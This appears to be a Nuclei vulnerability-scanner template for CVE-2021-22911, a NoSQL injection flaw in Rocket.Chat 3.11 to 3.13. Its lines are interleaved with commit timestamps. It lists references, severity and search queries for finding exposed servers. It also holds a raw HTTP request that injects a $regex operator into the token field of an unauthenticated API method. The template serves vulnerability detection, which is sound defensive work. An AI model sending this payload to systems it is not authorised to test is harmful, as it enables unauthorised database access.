2022-09-22 18:11:28 +00:00
id : CVE-2021-22911
2022-10-19 21:11:27 +00:00
2022-09-22 18:11:28 +00:00
info :
2022-10-19 21:11:27 +00:00
name : Rocket.Chat <=3.13 - NoSQL Injection
2022-09-26 16:38:13 +00:00
author : tess,sullo
2022-09-22 18:11:28 +00:00
severity : critical
2022-10-19 21:11:27 +00:00
description : Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.
2022-09-22 18:11:28 +00:00
reference :
- http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
2022-09-26 16:38:13 +00:00
- https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
2022-09-22 18:11:28 +00:00
- https://hackerone.com/reports/1130721
2022-09-23 03:17:15 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
2022-09-22 18:11:28 +00:00
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
2022-10-19 21:11:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22911
2022-09-22 18:11:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-22911
2023-07-11 19:49:27 +00:00
cwe-id : CWE-75,NVD-CWE-Other
2024-03-23 09:28:19 +00:00
epss-score : 0.94773
2024-04-08 11:34:33 +00:00
epss-percentile : 0.99209
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*
2022-09-22 18:11:28 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rocket.chat
product : rocket.chat
2024-06-07 10:04:29 +00:00
shodan-query :
- http.title:"Rocket.Chat"
- http.title:"rocket.chat"
2024-05-31 19:23:20 +00:00
fofa-query : title="rocket.chat"
google-query : intitle:"rocket.chat"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli
2022-09-23 03:17:15 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-22 18:11:28 +00:00
- raw :
- |-
POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
2022-09-26 16:38:13 +00:00
{"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}
2022-09-22 18:11:28 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-09-23 03:17:15 +00:00
- '[error-invalid-user]'
2022-09-23 03:13:42 +00:00
- '"success":true'
condition : and
2022-09-22 18:11:28 +00:00
2022-09-26 16:38:13 +00:00
- type : word
part : header
words :
- application/json
2022-09-22 18:11:28 +00:00
- type : status
status :
2022-09-23 03:13:42 +00:00
- 200
2024-06-08 16:02:17 +00:00
# digest: 490a0046304402200575304b0ca1fd82762a4b1bc0c0a5d5b244a315bd63f8004e8db16bd8d1f1fc02206b3654fb54253371be74e5cdac57397e6cc470b4f377948ed8fb497124959b23:922c64590222798bb761d5b6d8e72950